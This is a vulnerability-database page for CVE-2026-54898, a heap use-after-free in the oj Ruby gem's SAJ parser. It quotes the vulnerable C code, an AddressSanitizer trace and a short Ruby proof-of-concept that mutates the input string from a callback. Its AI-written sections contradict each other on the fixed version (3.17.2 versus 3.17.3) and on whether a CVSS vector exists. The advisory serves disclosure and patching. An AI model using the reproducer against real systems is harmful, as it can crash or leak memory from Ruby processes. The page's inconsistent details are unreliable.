Skip to main content

Oj gem CVE-2026-54898

LOW
Use After Free (CWE-416)
2026-06-19 https://github.com/ohler55/oj GHSA-q2gm-54r6-8fwm
2.1
CVSS 4.0 · Vendor: https://github.com/ohler55/oj

Severity by source

Vendor (https://github.com/ohler55/oj) PRIMARY
2.1 LOW
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
3.9 LOW

Exploitation requires in-process control of the SAJ handler code (PR:H, AV:L) and a race-like buffer-realloc condition (AC:H); UAF yields limited memory disclosure and possible crash, no scope change.

3.1 AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
4.0 AV:L/AC:H/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/ohler55/oj).

CVSS VectorVendor: https://github.com/ohler55/oj

CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
CVSS changed
Jul 01, 2026 - 00:22 NVD
2.1 (LOW)
Source Code Evidence Fetched
Jun 19, 2026 - 21:29 vuln.today
Analysis Generated
Jun 19, 2026 - 21:29 vuln.today

DescriptionCVE.org

Summary

Oj::Parser#parse is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw const byte * pointer into the Ruby string's internal buffer. If a callback (e.g. hash_start) resizes the string - for example by calling String#replace with a longer value - Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at parser.c:607 is a use-after-free.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/parser.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/parser.c, parser_parseparse:

c
static VALUE parser_parse(VALUE self, VALUE json) {
    const byte *ptr = (const byte *)StringValuePtr(json);  // raw pointer into Ruby string
    // ...
    parse(p, ptr);   // ptr used throughout; any realloc frees the backing buffer
}
c
// parser.c:607
static void parse(ojParser p, const byte *json) {
    const byte *b = json;
    // ...
    for (; '\0' != *b; b++) {   // ← UAF: reads freed memory after callback resizes json

Ruby's String#replace (or <<, gsub!, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that ptr still points to.

ASAN report:

==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81
READ of size 1 at 0x51900008ed81 thread T0
    #0 parse          /ext/oj/parser.c:607
    #1 parser_parse   /ext/oj/parser.c:1408
0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)
freed by thread T0 here:
    #0 free
    #1 ruby_sized_xfree  (libruby-3.3.so.3.3)
Shadow bytes: [fd]fd fd fd fd fd ...  (entire region freed)

Reproduce

ruby
require 'oj'

class Mutator
  def initialize(json) = (@json = json; @done = false)

  def hash_start(key)
    return if @done; @done = true
    @json.replace('x' * 1_000_000)
# triggers String realloc, frees original buffer
  end

  def hash_end(key); end
  def array_start(key); end
  def array_end(key); end
  def add_value(value, key); end
end

json = '{"a":1,"pad":"' + ('A' * 1000) + '","z":2}'
parser = Oj::Parser.new(:saj)
parser.handler = Mutator.new(json)
parser.parse(json)

AnalysisAI

Heap use-after-free in the Oj Ruby JSON parser allows malicious SAJ/SAJ2 callback handlers to dereference freed memory by mutating the input JSON string mid-parse, potentially leading to memory disclosure or arbitrary code execution within the Ruby process. The flaw affects the oj gem at versions below 3.17.2 and is triggered when a callback such as hash_start invokes String#replace with a larger payload, causing Ruby to reallocate the backing buffer that the C parser still references. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Load malicious or buggy SAJ handler in Ruby process
Delivery
Invoke Oj::Parser#parse with attacker-influenced JSON
Exploit
Callback (hash_start) calls String#replace with larger payload
Install
Ruby frees original string buffer via ruby_sized_xfree
C2
C parser dereferences dangling const byte* at parser.c:607
Execute
Read freed heap memory, corrupt parser state
Impact
Information disclosure or process crash

Vulnerability AssessmentAI

Exploitation The application must instantiate Oj::Parser with the :saj or :saj2 mode and assign a handler whose callbacks (hash_start, hash_end, array_start, array_end, or add_value) mutate the exact String object passed to parser.parse(json) in a way that grows it beyond its embedded capacity, forcing Ruby to reallocate and free the original buffer; mutation via String#replace, <<, gsub!, or concat with a larger payload is sufficient. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No CVSS vector was published in the input, so risk must be reasoned from the technical detail and CWE. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A developer writes (or imports) a SAJ-style handler whose hash_start callback resizes the original JSON string - for example, a logging wrapper that calls @json.replace(redact(@json)) - and when Oj::Parser#parse is invoked the C parser continues reading from the freed buffer at parser.c:607, producing memory corruption that can leak adjacent heap contents into subsequently parsed values or crash the Ruby worker. The published GHSA reproducer (Mutator class calling @json.replace('x' * 1_000_000) inside hash_start) demonstrates the use-after-free deterministically under AddressSanitizer.
Remediation Vendor-released patch: upgrade the oj gem to version 3.17.3 or later (the GHSA advisory specifies 'fixed in: 3.17.3'); update Gemfile to 'gem "oj", ">= 3.17.3"' and run bundle update oj, then redeploy any long-running Ruby processes so the patched native extension is loaded. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

24 hours: Identify all Ruby applications using the Oj gem and determine deployed versions (check Gemfile.lock files and dependency trees). …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-54898 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy